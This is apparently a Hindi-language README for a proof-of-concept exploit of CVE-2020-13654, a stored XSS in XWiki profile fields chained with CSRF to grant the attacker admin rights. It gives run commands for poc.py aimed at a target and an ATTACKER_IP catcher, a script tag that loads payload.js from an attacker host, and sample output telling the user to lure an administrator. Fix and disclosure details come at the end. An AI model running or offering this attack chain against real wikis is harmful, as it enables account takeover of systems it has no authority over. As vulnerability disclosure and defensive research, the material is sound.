
CVE-2020-13654 - XWiki Platform < 12.8 - संग्रहीत XSS → CSRF → खाता अधिग्रहण
द्वारा खोजा गया और रिपोर्ट किया गया: Astaruf
पूर्ण लेख: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform संस्करण 12.8 से पहले प्रोफ़ाइल संपादक में उपयोगकर्ता-नियंत्रित फ़ील्ड्स पर HTML एन्कोडिंग लागू नहीं करता है। अनुसंधान के दौरान पुष्टि किया गया प्रभावित फ़ील्ड "Company" है (Edit → Personal Information के अंतर्गत), लेकिन अन्य प्रोफ़ाइल फ़ील्ड्स भी समान कोड पथ साझा करते हैं।
जब प्रोफ़ाइल पृष्ठ प्रस्तुत किया जाता है, तब संग्रहीत फ़ील्ड मान बिना किसी $escapetool.xml() या समकक्ष एस्केपिंग कॉल के HTML में यथावत आउटपुट होता है। कोई भी प्रमाणित खाता (जिसमें नए स्व-पंजीकृत खाते भी शामिल हैं) वाला हमलावर मनमाना HTML/JavaScript संग्रहीत कर सकता है जो प्रोफ़ाइल देखने वाले प्रत्येक उपयोगकर्ता (प्रशासकों सहित) के ब्राउज़र में स्थायी रूप से निष्पादित होता है।
प्रभावित Velocity टेम्पलेट में मूल कारण:
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")
## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| फ़ील्ड | मान |
|---|---|
| उत्पाद | XWiki Platform |
| प्रभावित संस्करण | < 12.8 |
| समाधान हुआ | 12.8 |
| CVSSv3 स्कोर | 7.5 (उच्च) |
यह PoC एक शून्य-क्लिक विशेषाधिकार वृद्धि श्रृंखला प्रदर्शित करता है:
Low-privilege attacker account
│
├─ stores <script src="http://attacker/payload.js"> in Company field
▼
XWiki profile page (poisoned)
│
├─ admin navigates to the page (e.g. via user list or support ticket)
▼
Payload executes in admin browser session
│
├─ fetches /bin/view/XWiki/XWikiAdminGroup → extracts CSRF token
├─ POSTs form_token + xpage=adduorg + name=attacker → adds attacker to XWikiAdminGroup
│
▼
Attacker now has full admin access
एक पृष्ठ विज़िट के अलावा किसी प्रशासकीय इंटरैक्शन की आवश्यकता नहीं है।
poc.py एक स्व-निहित शोषण स्क्रिप्ट है। यह:
Company प्रोफ़ाइल फ़ील्ड में इंजेक्ट करता है, शेष सभी मौजूदा फ़ील्ड मानों को संरक्षित करता है/payload.js) को सर्व करता है और आने वाले बीकन को लॉग करता हैजब प्रशासक URL पर विज़िट करता है, तब संग्रहीत <script src="..."> टैग हमलावर के सर्वर से payload.js लोड करता है। पेलोड प्रशासक के प्रमाणित ब्राउज़र संदर्भ में चलता है, चुपचाप हमलावर के खाते को XWikiAdminGroup में जोड़ता है, और परिणाम को वापस बीकन करता है।
pip install -r requirements.txt
स्व-पंजीकरण के साथ (कोई पूर्व-मौजूद खाता आवश्यक नहीं):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
मौजूदा निम्न-विशेषाधिकार खाते के साथ:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] Registering account 'hacker' ...
✅ Registration successful.
[*] Authenticating as 'hacker' ...
✅ Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅ Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅ Payload confirmed in page source.
════════════════════════════════════════════════════════════
EXPLOIT ARMED — WAITING FOR VICTIM
Share this URL with (or wait for) an administrator to visit:
>>> http://TARGET:8080/bin/view/XWiki/hacker
When triggered, the attacker account 'hacker'
will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
XWiki Platform ≥ 12.8 में अपग्रेड करें।
यह फिक्स सभी उपयोगकर्ता-नियंत्रित प्रोफ़ाइल फ़ील्ड्स पर उन्हें प्रस्तुत करने से पहले $escapetool.xml() लागू करता है, जिससे कच्चे HTML/JavaScript के इंजेक्शन को रोका जा सकता है।
यदि तत्काल अपग्रेड संभव नहीं है, तो स्व-पंजीकरण को प्रतिबंधित करें और XWiki के अभिगम अधिकार प्रबंधन के माध्यम से प्रोफ़ाइल दृश्यता को विश्वसनीय उपयोगकर्ताओं तक सीमित करें।
| तिथि | घटना |
|---|
यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है।
उन प्रणालियों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
लेखक दुरुपयोग के लिए कोई देयता नहीं लेता है।
| CWE | CWE-116 — अनुचित एन्कोडिंग या आउटपुट एस्केपिंग |
| तर्क | आवश्यक | विवरण |
|---|
--target | ✅ | XWiki आधार URL |
--catcher | ✅ | हमलावर-नियंत्रित URL (payload.js सर्व करने और बीकन एकत्र करने के लिए उपयोग किया जाता है) |
--username | ✅ | हमलावर खाता उपयोगकर्ता नाम |
--password | ✅ | हमलावर खाता पासवर्ड |
--register | ✗ | शोषण से पहले खाता स्वचालित रूप से पंजीकृत करें |
--first-name | यदि --register | पंजीकरण प्रथम नाम |
--last-name | यदि --register | पंजीकरण अंतिम नाम |
--email | यदि --register | पंजीकरण ईमेल |
| मई 2020 | भेद्यता की खोज |
| मई 2020 | XWiki सुरक्षा टीम को रिपोर्ट किया गया |
| जुलाई 2020 | XWiki Platform 12.8 में पैच किया गया |
| नवम्बर 2020 | MITRE द्वारा CVE-2020-13654 आवंटित |
| 30 दिसंबर, 2020 | सार्वजनिक प्रकटीकरण — nstsec.com |